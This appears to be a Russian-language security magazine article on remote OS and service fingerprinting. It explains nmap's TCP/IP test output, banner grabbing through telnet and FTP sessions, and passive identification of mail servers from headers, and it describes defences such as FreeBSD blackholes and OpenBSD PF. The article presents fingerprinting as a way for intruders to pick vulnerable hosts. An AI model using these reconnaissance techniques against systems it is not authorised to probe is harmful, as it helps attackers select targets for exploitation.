Идея удаленно определять версию ОС или запущенного на хосте сервиса не нова. Все знают, что популярный сканер nmap, будучи запущенным с параметром -O, пытается определить версию операционки. Известно также, что около года назад тот же nmap научился определять и версии сервисов, запущенных на сканируемом хосте. Наша задача – понять технологию работы сканера, а также убедиться в том, что одним лишь nmap'ом понятие fingerprinting не ограничивается. Пакетные игры Сканер nmap, запущенный с повышенной вербозностью (параметр -vvv), выдает примерно следующее: ЛИСТИНГ TCP/IP fingerprint: SInfo(V=3.55%P=i386-portbld-freebsd6.0%D=7/29%Time=410833C8%O=21%C=-1) T1(Resp=Y%DF=Y%W=FFFF%ACK=S++%Flags=AS%Ops=MNWNNT) T2(Resp=N) T3(Resp=N) T4(Resp=Y%DF=Y%W=0%ACK=S++%Flags=R%Ops=) T5(Resp=N) T6(Resp=N) T7(Resp=N) PU(Resp=N) Многие не обращают внимания, а ведь в этом кажущемся мусоре и содержится вся сермяжная правда об операционке. Это результаты восьми тестов для определения версии ОС; их, разумеется, намного больше, но мы рассмотрим только стандартные. Никто не сможет рассказать о них более подробно, чем Fyodor в своей статье, которая была опубликована в езине Phrack #54 в далеком 1998 году. Первая строчка – просто информация о системе, на которой работает nmap, версия сканера, оси, на которой он собран, и т.п. Далее идет набор из семи тестов (T1-T7), каждый из которых заключается в посылке специально сформированного TCP-пакета на целевой хост и изучении ответа. Итак, первый тест – это отправка пакета с установленным флагом SYN на открытый порт. Это штатный запрос, и система обязана на него прореагировать. Ответ (в скобках) интерпретируется следующим образом. Resp=Y означает, что от системы был получен ответ. DF=Y означает, что бит Don't Fragment, выставленный в отправленном пакете, сохранился. W – размер окна (Window Size) удаленной системы. ACK – значение Acknowledge Number в ответном пакете, S++ говорит о том, что оно было равно полученному ISN (Initial Sequence Number), увеличенному на 1. Flags – флаги в ответном пакете (в нашем случае это SYN+ACK). Ops – TCP-опции (временная метка, Max Segment Size и прочее), для nmap важно не только их наличие, но и порядок следования – <MSS> <NOOP> <WindowScale> <NOOP> <NOOP> <TimeStamp> . Второй и третий тесты (T2 и T3) посылают NULL-пакет (без единого флага) и пакет с установленными флагами SYN, FIN, PSH и URG на открытый порт. Как видно, система не ответила на эти запросы (Resp=N). T4 – отправка на открытый порт пакета с установленным флагом ACK. По стандарту, описанному в документах RFC, система должна ответить RST-пакетом, так как отправляемое сканером «подтверждение» (Acknowledgment) не связано ни с одним сеансом. Ответ получен (Resp=Y), бит Don't Fragment выставлен, размер окна – 0, из TCP-флагов установлен только RST (Reset connection), чего и следовало ожидать. Тесты 5, 6 и 7 – также из серии «ненормальных». Пятый тест (T5) отправляет пакет с флагом SYN (но без ACK) на закрытый порт машины. Шестой – то же самое, только теперь вместо SYN установлен ACK. Седьмой – отправка пакета с выставленными флагами FIN, PSH, URG все на тот же закрытый порт. Наконец, последний тест (PU) – отправка ICMP-сообщения Port Unreachable на закрытый порт удаленной машины. В четырех последних случаях ответ от хоста не был получен, но, так как ОС все равно опознана как FreeBSD, можно сделать вывод, что админ включил tcp & udp blackholes (sysctl -w net.inet.tcp.blackhole=2, sysctl -w net.inet.udp.blackhole=1), метод, при котором FreeBSD старательно игнорирует провокации ее неправильными пакетами. Догадка верная, ведь админ – я ;). Кстати, помни, что несанкционированное сканирование часто формально считается попыткой проникновения.Самый простой способ fingerprinting, не требующий никаких нестандартных инструментов, – это сбор баннеров (banner grabbing). Сервисы (www, ftp, smtp, pop3) готовы рассказать о себе все в ответ на простое подключение телнетом: ЛИСТИНГ [(2:00)(258.29%)(p2):~ ] telnet www.berkeley.edu 80 Trying 169.229.131.109… Connected to arachne.berkeley.edu. Escape character is '^]'. HEAD / HTTP/1.0 HTTP/1.1 403 Forbidden Date: Tue, 24 Aug 2004 22:04:03 GMT Server: Stronghold/3.0 Apache/1.3.22 RedHat/3017c (Unix) PHP/4.3.3 mod_ssl/2.8.7 OpenSSL/0.9.6 mod_perl/1.25 Connection: close Content-Type: text/html; charset=iso-8859-1 Однако многие сервисы позволяют штатным образом сменить баннер, так что данный метод нельзя назвать надежным. К тому же, далеко не все сервисы позволяют вести диалог в подобном plain-text режиме. И если даже nmap очень часто считает достаточным запросить баннер, греша точным определением FTP или DNS-сервера, то как же, например, популярный сканер XSpider (www.ptsecurity.ru) точно отличает Postfix от Sendmal, а vsftpd от proftpd? Дело в том, что в документах RFC, описывающих поведение серверов, есть указания лишь по кодам выдаваемых в ответ на запросы клиентов ошибок, но не накладывается никакого ограничения на текстовую информационную составляющую. Так, на одну и ту же неверную команду Postfix ответит 500 Error: bad syntax, тогда как Sendmail – 500 5.5.1 Command unrecognized: «COMMAND_YOU_TYPE». Помучив сервер запросами и собрав базу возвращенных кодов, можно с достаточной точностью определить версию сервиса. Но иногда все бывает еще проще, и вместе с сервисом становится известна версия ОС. Особенно этим грешат FTP-сервера: ЛИСТИНГ [(3:51)(85.32%)(p1):~ ] ftp toxa@19X.XX.1.20X Connected to 19X.XX.1.20X. 220 beast FTP server (Version 1.7.212.1 Sat Feb 1 01:30:15 GMT 1997) ready. 331 Password required for toxa. Password: 230 User toxa logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> syst 215 UNIX Type: SUNOS ftp> quit 221 Goodbye. Как видно, FTP-сервер не только сообщил, что уже семь лет ждет эксплоита, но и заодно признался, что запущен на солярке. Для сервисов, текстовый диалог с которыми невозможен, (например, DNS-сервер) применяется та же технология: на сервер посылаются неверные запросы и анализируются ответные пакеты. Просто реализация такого анализа немного сложнее. Пассивный fingerprinting Как насчет того, чтобы определить версию сервиса, не послав на целевой хост ни единого пакета? На ум сразу же приходят банальный снифер на пути до хоста и дальнейший анализ перехваченных пакетов. Такие технологии применяются уже давно (http://project.honeynet.org/papers/finger/) и работают по тому же принципу, что и nmap (анализируются поля в заголовках пакета). Для SMTP-серверов существуют методы, не требующие ничего, кроме одного письма, прошедшего через целевой сервер. Многие сервера вставляют в письма красноречивые рабочие заголовки: ЛИСТИНГ Received: from xxx@xxx.ru by mercury.xxxxxx.ru by uid 0 with qmail-scanner-1.22 (clamscan: 0.75. spamassassin: 2.63. Clear:RC:0(xx3.1xx.8x.14xx):SA:0(0.0/7.0): По ним мы сразу определяем, что на сервере крутится qmail, сдобренный солянкой из qmail-scanner и SpamAssassin. Есть элегантный способ, описанный российской security-группой UkR Security Team (http://www.securitylab.ru/46232.html). Он основан на анализе id-тега в заголовке письма. Как и в случае с кодом ошибки, rfc не накладывает никаких ограничений на алгоритм генерации id и каждый вендор выбирает его по своему усмотрению. Составив базу отпечатков тегов различных почтовых серверов, можно точно отличить тот же postfix от exim, не послав жертве ни одного пакета! Разумеется, существует множество разных способов защиты от fingerprinting. От сканирования nmap'ом могут помочь механизмы в OpenBSD PF (block from any os NMAP, scrub in all), как просто нормализующие трафик (а значит, маскирующие «особенности» систем, этот трафик генерирующих), так и определяющие сканирование и заставляющие nmap выдавать каждый раз разную чепуху. Сильно затрудняют анализ уже упомянутые мной blackholes во FreeBSD. Ведь, по сути, из всех тестов сканера только один эмулирует «нормальный» сеанс (SYN-пакет на открытый порт), все остальное – ошибочные пакеты, призванные исследовать реакцию системы на подобную «провокацию». Соответственно, нужно сделать систему как можно более «молчаливой». Для Linux имеется проект IP Personality (http://ippersonality.sourceforge.net/) – патч к ядру, изменяющий поведение сетевого стека и позволяющий замаскировать систему под все, что не заблагорассудится, хоть под aix, хоть под приставку xbox. Анализ типа сервиса может быть затруднен сменой баннеров, текстовых комментариев кодов ошибок. Никто не мешает тебе залезть в сорцы любимого SMTP-сервера и ручками поменять алгоритм генерации ID-тега :). Fingerprinting – чертовски полезная для взломщика технология, однако она служит не для атаки на сверхзащищенные системы, а является способом определения уязвимой машины в заданном диапазоне адресов. Не даром различные проявления этой технологии можно встретить в авторутерах, автоэксплоитах или в обычных (но надо признать, не очень простых) сканерах безопасности. Статью Fyodor, переведенную на русский язык, можно найти по адресу http://www.insecure.org/nmap/nmap-fingerprinting-article-ru.html. От сканирования nmap'ом могут помочь механизмы в OpenBSD PF, нормализующие трафик. Анализ типа сервиса может быть затруднен сменой баннеров, текстовых комментариев и кодов ошибок. Технология remote fingerprinting хорошо зарекомендовала себя при производстве авторутеров/автоэксплоитов. Подобным программам очень полезно бывает сначала проверить версию сервиса или ОС, а уж потом применять эксплоит. |
|
||
|
Главная | В избранное | Наш E-MAIL | Добавить материал | Нашёл ошибку | Наверх |
||||
|
|
||||
